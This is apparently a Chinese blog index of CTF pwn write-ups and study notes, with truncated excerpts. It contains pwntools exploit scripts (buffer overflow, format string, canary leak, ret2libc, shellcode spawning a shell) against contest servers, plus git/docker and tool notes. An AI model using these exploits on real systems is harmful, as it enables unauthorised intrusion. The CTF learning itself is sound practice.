polarCTF的WP
play123456789101112131415from pwn import *p = remote("123.60.135.228", 2102)elf = ELF("play")context(log_level = "debug",arch = "amd64",os = "linux")buf=0x00000000006010A0shellcode = asm(shellcraft.sh())p.sendlineafter('I think you must enjoy playing.',shellcode)payload=(0x30+8)*b'a'+p64(buf)p.sendlineafter("Name your favorite game?",payload)p.interactive()
name4123456789101112131415161718192021from pwn import *p ...
git和docker常用指令
git基础指令
1、仓库12345678# 在当前目录新建一个Git代码库$ git init# 新建一个目录,将其初始化为Git代码库$ git init [project-name]# 下载一个项目和它的整个代码历史$ git clone [url]
2、配置123456789# 显示当前的Git配置$ git config --list# 编辑Git配置文件$ git config -e [--global]# 设置提交代码时的用户信息$ git config [--global] user.name "[name]"$ git config [--global] user.email "[email address]"
3、增加/删除文件123456789101112131415161718192021# 添加指定文件到暂存区$ git add [file1] [file2] ...# 添加指定目录到暂存区,包括子目录$ git add [dir]# 添加当前目录的所有文件到暂存区$ git add .# 添加每个变化前, ...
奇思妙想(破解随机数)
今天突然在想,用time(0)当随机数种子真的安全吗?
于是有了今天的小测试
docker端程序123456789101112131415161718192021#include <stdio.h>#include <stdlib.h>#include<time.h>int main(){ srand(time(0)); int guess; int randm=rand()%1000000; scanf("%d",&guess); if(guess==randm) { system("/bin/sh"); } else { printf("rand:%d",randm); }}
我的exp(第一部分c语言)
12345678910#include <stdio.h>#include <stdlib.h>#inc ...
容易忘的小知识
64位传参顺序6个参数及以内时参数从左到右加入寄存器时:rdi,rsi,rdx,rcx,r8,r9
当参数为7个以上时前6个与前面一样,但后面的依次从起,当参数对齐7个时,参数从左到右加入寄存器时:rdi,rsi,rdx,rcx,r8,r9。六个以上的内容加入栈中,即和32位组装一样。
函数原型open(open64)函数1int open(const char *path, int access, int mode);
参数解释: path:要打开的文件路径和名称。 access:访问模式,宏定义和含义如下: – O_RDONLY(1):只读打开; – O_WRONLY(2):只写打开; – O_RDWR(4):读写打开; 还可选择以下模式与以上3种基本模式相与: – O_CREAT(0x0100)创建一个文件并打开; – O_TRUNC(0x0200)打开一个已存在的文件并将文件长度设置为0,其他属性保持; – O_EXCL(0x0400)未使用; – O_APPEND(0x0800)追加打开文件; – O_TEXT(0x4000)打开文本文件翻译CR-LF控制字符; – O_ ...
pwn从头开始的复习(fmt篇)
具体学习去看西电文档
格式化字符串修改栈内容12345678from pwn import *# remote()建立远程连接,指明ip和portio = remote('node4.buuoj.cn',29147)#io=process("./printf")payload= p32(0x0804C044) + b"%10$n"io.sendlineafter("your name:",payload) #发送数据io.interactive() #与shell进行交互#0804c044
高级运用我自己出的题,字符串空间严重不足,必须利用栈空间
fmt下载
1234567891011121314151617181920212223242526272829303132from pwn import *context.log_level="debug"p=remote("ctf.v50to.cc",10286)#p=process("./fmt") ...
西电新生赛WP
水题都没收录,只受有收获的
canary12345678910111213141516171819202122232425262728293031323334353637from pwn import *from LibcSearcher import *context.log_level="debug"elf=ELF("pwn")p = remote("0.0.0.0", 33909)#p = process("./pwn")payload = b'a' * (0x50 - 8) + p8(0xcc)p.sendafter("name", payload)p.recvuntil("\xcc")canary = p8(0) + p.recvn(7)old_rbp=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))print(hex(old_rbp))print(ca ...
pwn从头开始的复习(rop高级篇)
除了之前的一般的rop,还有一些高级的运用,srop和frop
srop还没完全学成,在我的导航里面有参考资料
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172from pwn import *context.arch='amd64'context.log_level='debug'power_rop1=0x0000000000400806power_rop2=0x00000000004007F0buf_inp=0x0000000000601039pop_rbp=0x0000000000400628bss_addr=0x0000000000601050def getpower(avg1,avg2,avg3,got): payload=p64(power_rop1)+p64(0)+p64(0)+p64(1)+p64(got) ...
pwn从头开始的复习(shellcode篇)
z
最简单的shellcode,写什么执行什么直接用shellcode.sh生成,再asm转换为二进制
例题下载
12345678910111213from pwn import *# remote()建立远程连接,指明ip和portio = remote('node4.buuoj.cn',28957)context(log_level = "debug",arch = "i386",os = "linux")#io=process("./level1")io.recvuntil("What's this:")buf_addr=io.recvuntil(b"?")buf_addr= buf_addr[:-1]shellcode = asm(shellcraft.sh())payload = shellcode.ljust(140,b'a')+p32(int(buf_addr, 16))io.sendline(paylo ...
pwn从头开始的复习(工具使用)
glibc-all-in-one在glibc-all-in-one目录下
获取可下载的libc列表1cat list
1./download name
查看对应连接器
1strings buu/libc-2.23-x64.so | grep ubuntu
查看目前链接信息1ldd -v pwn
换源1patchelf --replace-needed libc.so.6 /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 heap_Double_Free
1patchelf --set-interpreter /home/kali/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./heap_Double_Free
Onegadget1one_gadget filename #libc文件名
一运行就能拿到shell的地址,但是会标使用条件,找能实现的搞就好
ROPgadget搜索r ...
pwn从头开始的复习(rop中级篇)
libcsearcherret2libc的时候不一定会给libc(大多数情况不给)
所以需要这个工具去根据泄露出来的libc搜索版本
给一个例题,本题有多解,我自己写了三解
例题下载
123456789101112131415161718192021from pwn import *from LibcSearcher import *p = remote('node4.buuoj.cn',26558)libc = ELF("libc-2.27.so")context.log_level="debug"elf=ELF("PicoCTF_2018_rop_chain")puts_plt=elf.plt["puts"]puts_got=elf.got["puts"]main_addr=elf.sym["main"]payload=(28)*b'a'+p32(puts_plt)+p32(main_addr)+p32(puts_got)p ...